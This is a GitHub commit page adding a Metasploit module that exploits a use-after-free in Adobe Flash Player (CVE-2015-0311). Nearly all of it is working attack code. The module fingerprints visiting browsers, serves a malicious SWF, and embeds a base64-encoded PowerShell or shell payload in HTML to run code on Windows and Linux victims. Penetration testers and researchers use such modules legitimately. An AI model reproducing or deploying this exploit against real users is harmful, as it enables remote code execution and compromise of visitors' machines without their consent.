Skip to content

Commit aa919da

Browse files
committed
Add the multiplatform exploit
1 parent 8d6cbf0 commit aa919da

File tree

1 file changed

+134
-0
lines changed

1 file changed

+134
-0
lines changed
Lines changed: 134 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,134 @@
1+
##
2+
# This module requires Metasploit: http://metasploit.com/download
3+
# Current source: https://github.com/rapid7/metasploit-framework
4+
##
5+
6+
require 'msf/core'
7+
8+
class Metasploit3 < Msf::Exploit::Remote
9+
Rank = NormalRanking
10+
11+
include Msf::Exploit::Powershell
12+
include Msf::Exploit::Remote::BrowserExploitServer
13+
14+
def initialize(info={})
15+
super(update_info(info,
16+
'Name' => 'Adobe Flash Player ByteArray UncompressViaZlibVariant Use After Free',
17+
'Description' => %q{
18+
This module exploits an use after free vulnerability in Adobe Flash Player. The
19+
vulnerability occurs in the ByteArray::UncompressViaZlibVariant method, when trying
20+
to uncompress() a malformed byte stream. This module has been tested successfully
21+
on:
22+
* Windows 7 SP1 (32 bits), IE 8 to IE 11 and Flash 16.0.0.287, 16.0.0.257 and 16.0.0.235.
23+
* Linux Mint "Rebecca" (32 bits) with Firefox 33.0 and Flash 11.2.202.404.
24+
},
25+
'License' => MSF_LICENSE,
26+
'Author' =>
27+
[
28+
'Unknown', # Vulnerability discovery and exploit in the wild
29+
'hdarwin', # Public exploit by @hdarwin89
30+
'juan vazquez' # msf module
31+
],
32+
'References' =>
33+
[
34+
['CVE', '2015-0311'],
35+
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsa15-01.html'],
36+
['URL', 'http://blog.hacklab.kr/flash-cve-2015-0311-%EB%B6%84%EC%84%9D/'],
37+
['URL', 'http://blog.coresecurity.com/2015/03/04/exploiting-cve-2015-0311-a-use-after-free-in-adobe-flash-player/']
38+
],
39+
'Payload' =>
40+
{
41+
'DisableNops' => true
42+
},
43+
'Platform' => ['win', 'unix'],
44+
'Arch' => [ARCH_X86, ARCH_CMD],
45+
'BrowserRequirements' =>
46+
{
47+
:source => /script|headers/i,
48+
:os_name => lambda do |os|
49+
os =~ OperatingSystems::Match::LINUX ||
50+
os =~ OperatingSystems::Match::WINDOWS_7
51+
end,
52+
:ua_name => lambda { |ua| [Msf::HttpClients::IE, Msf::HttpClients::FF].include?(ua) },
53+
:flash => lambda do |ver|
54+
(ver =~ /^16\./ && Gem::Version.new(ver) <= Gem::Version.new('16.0.0.287')) ||
55+
(ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.438'))
56+
end,
57+
:arch => ARCH_X86
58+
},
59+
'Targets' =>
60+
[
61+
[ 'Windows',
62+
{
63+
'Platform' => 'win',
64+
'Arch' => ARCH_X86
65+
}
66+
],
67+
[ 'Linux',
68+
{
69+
'Platform' => 'unix',
70+
'Arch' => ARCH_CMD
71+
}
72+
]
73+
],
74+
'Privileged' => false,
75+
'DisclosureDate' => 'Apr 28 2014',
76+
'DefaultTarget' => 0))
77+
end
78+
79+
def exploit
80+
@swf = create_swf
81+
82+
super
83+
end
84+
85+
def on_request_exploit(cli, request, target_info)
86+
print_status("Request: #{request.uri}")
87+
88+
if request.uri =~ /\.swf$/
89+
print_status('Sending SWF...')
90+
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
91+
return
92+
end
93+
94+
print_status('Sending HTML...')
95+
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
96+
end
97+
98+
def exploit_template(cli, target_info)
99+
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
100+
target_payload = get_payload(cli, target_info)
101+
102+
if target.name =~ /Windows/
103+
psh_payload = cmd_psh_payload(target_payload, 'x86', {remove_comspec: true})
104+
b64_payload = Rex::Text.encode_base64(psh_payload)
105+
platform_id = 'win'
106+
elsif target.name =~ /Linux/
107+
b64_payload = Rex::Text.encode_base64(target_payload)
108+
platform_id = 'linux'
109+
end
110+
111+
html_template = %Q|<html>
112+
<body>
113+
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
114+
<param name="movie" value="<%=swf_random%>" />
115+
<param name="allowScriptAccess" value="always" />
116+
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
117+
<param name="Play" value="true" />
118+
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
119+
</object>
120+
</body>
121+
</html>
122+
|
123+
124+
return html_template, binding()
125+
end
126+
127+
def create_swf
128+
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-0311', 'msf.swf')
129+
swf = ::File.open(path, 'rb') { |f| swf = f.read }
130+
131+
swf
132+
end
133+
134+
end

0 commit comments

Comments
 (0)